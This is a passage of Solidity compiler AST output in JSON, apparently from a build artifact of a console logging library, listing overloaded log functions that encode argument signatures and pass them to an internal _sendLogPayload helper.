eLocation":"13784:2:14","nodeType":"VariableDeclaration","scope":17248,"src":"13770:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17233,"name":"string","nodeType":"ElementaryTypeName","src":"13770:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13751:36:14"},"returnParameters":{"id":17236,"nodeType":"ParameterList","parameters":[],"src":"13802:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17268,"nodeType":"FunctionDefinition","src":"13902:146:14","nodes":[],"body":{"id":17267,"nodeType":"Block","src":"13956:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c626f6f6c29","id":17260,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14006:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1badc9eb6813ec769c33a3918f278565b7e2e9ed34d2ae2d50d951cc0f602ae0","typeString":"literal_string \"log(bool,uint,bool)\""},"value":"log(bool,uint,bool)"},{"id":17261,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17250,"src":"14029:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17262,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17252,"src":"14033:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17263,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17254,"src":"14037:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1badc9eb6813ec769c33a3918f278565b7e2e9ed34d2ae2d50d951cc0f602ae0","typeString":"literal_string \"log(bool,uint,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17258,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13982:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17259,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13986:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13982:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13982:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17257,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13966:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13966:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17266,"nodeType":"ExpressionStatement","src":"13966:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13911:3:14","parameters":{"id":17255,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17250,"mutability":"mutable","name":"p0","nameLocation":"13920:2:14","nodeType":"VariableDeclaration","scope":17268,"src":"13915:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17249,"name":"bool","nodeType":"ElementaryTypeName","src":"13915:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17252,"mutability":"mutable","name":"p1","nameLocation":"13929:2:14","nodeType":"VariableDeclaration","scope":17268,"src":"13924:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17251,"name":"uint","nodeType":"ElementaryTypeName","src":"13924:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17254,"mutability":"mutable","name":"p2","nameLocation":"13938:2:14","nodeType":"VariableDeclaration","scope":17268,"src":"13933:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17253,"name":"bool","nodeType":"ElementaryTypeName","src":"13933:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13914:27:14"},"returnParameters":{"id":17256,"nodeType":"ParameterList","parameters":[],"src":"13956:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17288,"nodeType":"FunctionDefinition","src":"14054:152:14","nodes":[],"body":{"id":17287,"nodeType":"Block","src":"14111:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c6164647265737329","id":17280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14161:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c4d23507f52009aec241457bf26dc51305bd2896aa08c5b47f04709554b39440","typeString":"literal_string \"log(bool,uint,address)\""},"value":"log(bool,uint,address)"},{"id":17281,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17270,"src":"14187:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17282,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17272,"src":"14191:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17283,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17274,"src":"14195:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c4d23507f52009aec241457bf26dc51305bd2896aa08c5b47f04709554b39440","typeString":"literal_string \"log(bool,uint,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17278,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14137:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17279,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14141:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14137:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17284,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14137:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17277,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14121:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14121:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17286,"nodeType":"ExpressionStatement","src":"14121:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14063:3:14","parameters":{"id":17275,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17270,"mutability":"mutable","name":"p0","nameLocation":"14072:2:14","nodeType":"VariableDeclaration","scope":17288,"src":"14067:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17269,"name":"bool","nodeType":"ElementaryTypeName","src":"14067:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17272,"mutability":"mutable","name":"p1","nameLocation":"14081:2:14","nodeType":"VariableDeclaration","scope":17288,"src":"14076:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17271,"name":"uint","nodeType":"ElementaryTypeName","src":"14076:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17274,"mutability":"mutable","name":"p2","nameLocation":"14093:2:14","nodeType":"VariableDeclaration","scope":17288,"src":"14085:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17273,"name":"address","nodeType":"ElementaryTypeName","src":"14085:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14066:30:14"},"returnParameters":{"id":17276,"nodeType":"ParameterList","parameters":[],"src":"14111:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17308,"nodeType":"FunctionDefinition","src":"14212:157:14","nodes":[],"body":{"id":17307,"nodeType":"Block","src":"14275:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e7429","id":17300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14325:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c0382aac3e9b237c9c8f246cdb8152d44351aaafa72d99e3640be65f754ac807","typeString":"literal_string \"log(bool,string,uint)\""},"value":"log(bool,string,uint)"},{"id":17301,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17290,"src":"14350:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17302,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17292,"src":"14354:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17303,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17294,"src":"14358:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c0382aac3e9b237c9c8f246cdb8152d44351aaafa72d99e3640be65f754ac807","typeString":"literal_string \"log(bool,string,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17298,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14301:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17299,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14305:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14301:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14301:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17297,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14285:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14285:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17306,"nodeType":"ExpressionStatement","src":"14285:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14221:3:14","parameters":{"id":17295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17290,"mutability":"mutable","name":"p0","nameLocation":"14230:2:14","nodeType":"VariableDeclaration","scope":17308,"src":"14225:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17289,"name":"bool","nodeType":"ElementaryTypeName","src":"14225:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17292,"mutability":"mutable","name":"p1","nameLocation":"14248:2:14","nodeType":"VariableDeclaration","scope":17308,"src":"14234:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17291,"name":"string","nodeType":"ElementaryTypeName","src":"14234:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17294,"mutability":"mutable","name":"p2","nameLocation":"14257:2:14","nodeType":"VariableDeclaration","scope":17308,"src":"14252:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17293,"name":"uint","nodeType":"ElementaryTypeName","src":"14252:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14224:36:14"},"returnParameters":{"id":17296,"nodeType":"ParameterList","parameters":[],"src":"14275:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17328,"nodeType":"FunctionDefinition","src":"14375:168:14","nodes":[],"body":{"id":17327,"nodeType":"Block","src":"14447:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e6729","id":17320,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14497:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b076847f8b4aee0cfbf46ec501532f9f3c85a581aff135287ff8e917c0a39102","typeString":"literal_string \"log(bool,string,string)\""},"value":"log(bool,string,string)"},{"id":17321,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17310,"src":"14524:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17322,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17312,"src":"14528:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17323,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17314,"src":"14532:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b076847f8b4aee0cfbf46ec501532f9f3c85a581aff135287ff8e917c0a39102","typeString":"literal_string \"log(bool,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17318,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14473:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17319,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14477:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14473:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14473:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17317,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14457:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14457:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17326,"nodeType":"ExpressionStatement","src":"14457:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14384:3:14","parameters":{"id":17315,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17310,"mutability":"mutable","name":"p0","nameLocation":"14393:2:14","nodeType":"VariableDeclaration","scope":17328,"src":"14388:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17309,"name":"bool","nodeType":"ElementaryTypeName","src":"14388:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17312,"mutability":"mutable","name":"p1","nameLocation":"14411:2:14","nodeType":"VariableDeclaration","scope":17328,"src":"14397:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17311,"name":"string","nodeType":"ElementaryTypeName","src":"14397:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17314,"mutability":"mutable","name":"p2","nameLocation":"14429:2:14","nodeType":"VariableDeclaration","scope":17328,"src":"14415:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17313,"name":"string","nodeType":"ElementaryTypeName","src":"14415:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14387:45:14"},"returnParameters":{"id":17316,"nodeType":"ParameterList","parameters":[],"src":"14447:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17348,"nodeType":"FunctionDefinition","src":"14549:157:14","nodes":[],"body":{"id":17347,"nodeType":"Block","src":"14612:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c29","id":17340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14662:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dbb4c2477dacc98e0e5b96fd6ca6bf0ae1f82dd042439d9f53f8d963bef43eaa","typeString":"literal_string \"log(bool,string,bool)\""},"value":"log(bool,string,bool)"},{"id":17341,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17330,"src":"14687:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17342,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17332,"src":"14691:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17343,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17334,"src":"14695:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dbb4c2477dacc98e0e5b96fd6ca6bf0ae1f82dd042439d9f53f8d963bef43eaa","typeString":"literal_string \"log(bool,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17338,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14638:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17339,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14642:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14638:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14638:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17337,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14622:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14622:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17346,"nodeType":"ExpressionStatement","src":"14622:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14558:3:14","parameters":{"id":17335,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17330,"mutability":"mutable","name":"p0","nameLocation":"14567:2:14","nodeType":"VariableDeclaration","scope":17348,"src":"14562:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17329,"name":"bool","nodeType":"ElementaryTypeName","src":"14562:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17332,"mutability":"mutable","name":"p1","nameLocation":"14585:2:14","nodeType":"VariableDeclaration","scope":17348,"src":"14571:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17331,"name":"string","nodeType":"ElementaryTypeName","src":"14571:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17334,"mutability":"mutable","name":"p2","nameLocation":"14594:2:14","nodeType":"VariableDeclaration","scope":17348,"src":"14589:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17333,"name":"bool","nodeType":"ElementaryTypeName","src":"14589:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"14561:36:14"},"returnParameters":{"id":17336,"nodeType":"ParameterList","parameters":[],"src":"14612:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17368,"nodeType":"FunctionDefinition","src":"14712:163:14","nodes":[],"body":{"id":17367,"nodeType":"Block","src":"14778:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c6164647265737329","id":17360,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14828:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9591b953c9b1d0af9d1e3bc0f6ea9aa5b0e1af8c702f85b36e21b9b2d7e4da79","typeString":"literal_string \"log(bool,string,address)\""},"value":"log(bool,string,address)"},{"id":17361,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17350,"src":"14856:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17362,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17352,"src":"14860:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17363,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17354,"src":"14864:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9591b953c9b1d0af9d1e3bc0f6ea9aa5b0e1af8c702f85b36e21b9b2d7e4da79","typeString":"literal_string \"log(bool,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17358,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14804:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17359,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14808:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14804:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14804:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17357,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"14788:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14788:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17366,"nodeType":"ExpressionStatement","src":"14788:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14721:3:14","parameters":{"id":17355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17350,"mutability":"mutable","name":"p0","nameLocation":"14730:2:14","nodeType":"VariableDeclaration","scope":17368,"src":"14725:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17349,"name":"bool","nodeType":"ElementaryTypeName","src":"14725:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17352,"mutability":"mutable","name":"p1","nameLocation":"14748:2:14","nodeType":"VariableDeclaration","scope":17368,"src":"14734:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17351,"name":"string","nodeType":"ElementaryTypeName","src":"14734:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17354,"mutability":"mutable","name":"p2","nameLocation":"14760:2:14","nodeType":"VariableDeclaration","scope":17368,"src":"14752:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17353,"name":"address","nodeType":"ElementaryTypeName","src":"14752:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14724:39:14"},"returnParameters":{"id":17356,"nodeType":"ParameterList","parameters":[],"src":"14778:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17388,"nodeType":"FunctionDefinition","src":"14881:146:14","nodes":[],"body":{"id":17387,"nodeType":"Block","src":"14935:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e7429","id":17380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14985:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b01365bbae43503e22260bcc9cf23ffef37ffc9f6c1580737fe2489955065877","typeString":"literal_string 